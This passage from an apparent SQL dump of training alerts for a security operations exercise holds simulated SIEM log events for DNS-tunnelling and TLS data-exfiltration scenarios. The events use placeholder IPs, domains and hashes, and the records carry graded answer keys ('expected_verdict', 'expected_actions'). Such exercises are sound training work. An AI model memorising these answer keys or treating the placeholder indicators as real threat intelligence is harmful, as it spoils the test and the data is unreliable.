1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.2.3.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"queried_domain\\\":\\\"malicious.example.com\\\",\\\"dns_query_type\\\":\\\"TXT\\\",\\\"dns_response\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"internal_host\\\":\\\"compromised-host.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"unique_transaction_id\\\":\\\"1234567890abcdef\\\",\\\"detected_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"detected_filename\\\":\\\"dns_tunnel_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.214Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.2.3.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"queried_domain\\\":\\\"malicious.example.com\\\",\\\"dns_query_type\\\":\\\"TXT\\\",\\\"dns_response\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"internal_host\\\":\\\"compromised-host.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"unique_transaction_id\\\":\\\"1234567890abcdef\\\",\\\"detected_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"detected_filename\\\":\\\"dns_tunnel_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.214Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.2.3.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"queried_domain\\\":\\\"malicious.example.com\\\",\\\"dns_query_type\\\":\\\"TXT\\\",\\\"dns_response\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"internal_host\\\":\\\"compromised-host.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"unique_transaction_id\\\":\\\"1234567890abcdef\\\",\\\"detected_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"detected_filename\\\":\\\"dns_tunnel_tool.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.214Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:07Z\\\",\\\"source_ip\\\":\\\"10.2.3.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"queried_domain\\\":\\\"malicious.example.com\\\",\\\"dns_query_type\\\":\\\"TXT\\\",\\\"dns_response\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"internal_host\\\":\\\"compromised-host.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"unique_transaction_id\\\":\\\"1234567890abcdef\\\",\\\"detected_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"detected_filename\\\":\\\"dns_tunnel_tool.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(583, 'Encrypted Traffic Anomaly', 'high', 'SSL/TLS Traffic Inspection', 'Anomalous encrypted traffic was detected, indicating potential data exfiltration activities. The attacker is leveraging SSL/TLS channels to evade detection.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:23:45Z\",\"source_ip\":\"192.168.1.22\",\"destination_ip\":\"203.0.113.45\",\"ssl_subject\":\"CN=malicious-actor.com\",\"ssl_issuer\":\"CN=Let\'s Encrypt Authority X3\",\"data_volume\":\"5GB\",\"file_hash\":\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\",\"filename\":\"encrypted_payload.bin\",\"user\":\"jdoe\",\"action\":\"data_exfiltration\",\"protocol\":\"TLSv1.2\",\"alert_id\":\"EXFIL-2023-0008\",\"user_agent\":\"curl/7.68.0\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT data exfiltration tools.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encrypted_payload.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file detected during traffic inspection.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User is registered and active within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.216Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.22\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"ssl_subject\\\":\\\"CN=malicious-actor.com\\\",\\\"ssl_issuer\\\":\\\"CN=Let\'s Encrypt Authority X3\\\",\\\"data_volume\\\":\\\"5GB\\\",\\\"file_hash\\\":\\\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\\\",\\\"filename\\\":\\\"encrypted_payload.bin\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"TLSv1.2\\\",\\\"alert_id\\\":\\\"EXFIL-2023-0008\\\",\\\"user_agent\\\":\\\"curl/7.68.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.216Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.22\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"ssl_subject\\\":\\\"CN=malicious-actor.com\\\",\\\"ssl_issuer\\\":\\\"CN=Let\'s Encrypt Authority X3\\\",\\\"data_volume\\\":\\\"5GB\\\",\\\"file_hash\\\":\\\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\\\",\\\"filename\\\":\\\"encrypted_payload.bin\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"TLSv1.2\\\",\\\"alert_id\\\":\\\"EXFIL-2023-0008\\\",\\\"user_agent\\\":\\\"curl/7.68.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.216Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.22\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"ssl_subject\\\":\\\"CN=malicious-actor.com\\\",\\\"ssl_issuer\\\":\\\"CN=Let\'s Encrypt Authority X3\\\",\\\"data_volume\\\":\\\"5GB\\\",\\\"file_hash\\\":\\\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\\\",\\\"filename\\\":\\\"encrypted_payload.bin\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"TLSv1.2\\\",\\\"alert_id\\\":\\\"EXFIL-2023-0008\\\",\\\"user_agent\\\":\\\"curl/7.68.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.216Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.22\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"ssl_subject\\\":\\\"CN=malicious-actor.com\\\",\\\"ssl_issuer\\\":\\\"CN=Let\'s Encrypt Authority X3\\\",\\\"data_volume\\\":\\\"5GB\\\",\\\"file_hash\\\":\\\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\\\",\\\"filename\\\":\\\"encrypted_payload.bin\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"TLSv1.2\\\",\\\"alert_id\\\":\\\"EXFIL-2023-0008\\\",\\\"user_agent\\\":\\\"curl/7.68.0\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.216Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.22\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"ssl_subject\\\":\\\"CN=malicious-actor.com\\\",\\\"ssl_issuer\\\":\\\"CN=Let\'s Encrypt Authority X3\\\",\\\"data_volume\\\":\\\"5GB\\\",\\\"file_hash\\\":\\\"d2d2d0f9e0c8c0a0a1b2d2e0f9f0f9a1\\\",\\\"filename\\\":\\\"encrypted_payload.bin\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"TLSv1.2\\\",\\\"alert_id\\\":\\\"EXFIL-2023-0008\\\",\\\"user_agent\\\":\\\"curl/7.68.0\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);

